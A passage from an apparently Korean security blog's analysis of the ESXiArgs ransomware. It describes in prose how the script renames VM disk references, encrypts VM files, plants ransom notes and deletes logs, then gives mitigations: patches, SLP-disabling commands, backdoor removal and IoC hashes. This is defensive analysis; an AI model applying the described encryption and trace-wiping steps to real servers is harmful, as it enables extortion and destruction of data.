  file_size - 파일 크기(바이트)(스퍼스 파일의 경우)

 

- 스크립트는 먼저 "esxcli vm process list" 명령을 사용함

① ESXi 서버에서 실행 중인 가상 시스템의 구성 파일을 식별

② 가상 디스크 및 스왑 파일의 경로를 수정_'.vmdk'를 '1.vmdk'로, '.vswp'를 '1.vswp'로 대체

- 구성 파일의 파일 이름을 변경함으로써 암호화 후 피해자가 원본 데이터를 찾아 복원하는 것을 어렵게 하기 위한 목적

[사진 4] 구성 파일을 수정하는 코드

 

- ESXi 서버의 볼륨에서 ".vmdk", ".vmx", ".vmxf", ".vmsd", ".vmsn", ".vswp", ".vmss", ".nvram", ".vmem" 확장자 검색

- 그 후 public.pem과 encrypt를 사용해 해당 확장자를 암호화

[사진 5] 암호화 코드

 

- /usr/lib/vmware 디렉토리에서 "index.html"이라는 파일을 검색하고 랜섬 노트로 변경

① 원본 index.html를 index1.html로 이름을 바꾼 후 랜섬노트를 포함한 index.html을 해당 경로로 복사

② 원본 /etc/motd를 motd1로 이름을 바꾼 후 랜섬노트를 포함한 motd를 해당 경로로 복사

[사진 6] 랜섬노트 생성

 

- .log 파일을 찾아 삭제하여 랜섬웨어에 의해 생성된 모든 흔적을 삭제

- encrypt 문자열이 포함된 실행 중인 프로세스가 없음(암호화 완료)을 확인한 후 루프 종료

 

[사진 7] 로그 등 공격 흔적 삭제

 

- 추가적으로 피해 컴퓨터에서 특정 파일을 수정 및 삭제

[사진 8] 특정 파일 수정 및 삭제

 

- 최종적으로 랜섬웨어 감염 후 사용자가 접속을 할 경우 랜섬노트가 출력되어 감염 사실을 알림

[사진 9] 랜섬노트

3. 대응방안

① 미국의 사이버 보안 전담 기관인 CISA가 복호화 도구 ESXiArgs-Recover를 배포

> 암호화 된 설정 파일을 삭제하는 게 아니라 새로운 설정 파일을 생성

> 하지만, 해당 복구 스크립트를 무력화하는 새로운 버전이 확인됨

 

② 복구 스크립트 실행 후 다음을 수행 (취약한 ESXi 버전을 사용할 경우 또한 수행)

> 즉시 ESXi를 최신 버전으로 업데이트

제품명 플랫폼 영향 받는 버전 패치 버전
ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551 

> 영향도 확인 후 SLP(TCP/UDP 427 Port)이 불필요할 경우 비활성화

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

③ vmtools.py 파일 삭제

> vmtools.py는 python으로 제작된 백도어로 이번 공격에 사용된 것으로 판단됨

> "/store/packages/" 위치에 있는지 확인 후 삭제

 

④ 일반적인 랜섬웨어 대응 가이드라인 준수

> 정기적인 백업 수행 및 물리적으로 분리된 네트워크나 저장소에 백업

> OS, 안티바이러스 등에 최신 업데이트를 적용

> 출처가 불분명한 파일 또는 메일 등 열람 및 다운로드 주의

> 감염된 장치가 있을 경우 네트워크에서 제거

> 임직원 대상 보안 교육 진행

 

⑤ 모니터링

> 침해지표 확인 후 보안장비(방화벽, IPS, EDR 등)에 적용

 

> C2 의심 또는 스캔 시도 IP 목록

 

GitHub - fastfire/IoC_Attack_ESXi_Feb_2023: Collection of IoCs available and related to attacks on ESXi infrastructures that occ

Collection of IoCs available and related to attacks on ESXi infrastructures that occurred as of Friday February 3, 2023. - GitHub - fastfire/IoC_Attack_ESXi_Feb_2023: Collection of IoCs available a...

github.com

 

> IoC 확인

파일명 해시값
encrypt.sh SHA-256 10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459
MD5 d0d36f169f1458806053aae482af5010
encrypt SHA-256 11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66
MD5 87b010bc90cd7dd776fb42ea5b3f85d3

 

> TOX ID(랜섬노트에서 식별) : D6C324719Ad0AA50A54E4F8DED8E8220D8698DD67B218B5429466C40E7F72657C015D86C7E4A

 

4. 참고

https://www.bleepingcomputer.com/news/security/vmware-warns-admins-to-patch-esxi-servers-disable-openslp-service/
https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/#:~:text=Finally%2C%20the%20script%20performs%20some%20cleanup
https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14#entry5470686
https://blog.cyble.com/2023/02/06/massive-ransomware-attack-targets-vmware-esxi-servers/
https://www.trustedsec.com/blog/esxiargs-what-you-need-to-know-and-how-to-protect-your-data/
- https://thehackernews.com/2023/02/new-esxiargs-ransomware-variant-emerges.html?m=1
- https://www.dailysecu.com/news/articleView.html?idxno=143437
https://www.rapid7.com/blog/post/2023/02/06/ransomware-campaign-compromising-vmware-esxi-servers/
https://thehackernews.com/2023/02/new-wave-of-ransomware-attacks.html
https://ggonmerr.tistory.com/197

'랜섬웨어 > 분석' 카테고리의 다른 글

LockBit 랜섬웨어 동향  (0) 2023.06.16
다크파워 (Dark Power) 랜섬웨어  (1) 2023.03.28
Masscan 랜섬웨어  (0) 2022.10.12
LockBit 3.0 랜섬웨어 빌더 분석  (1) 2022.10.04

+ Recent posts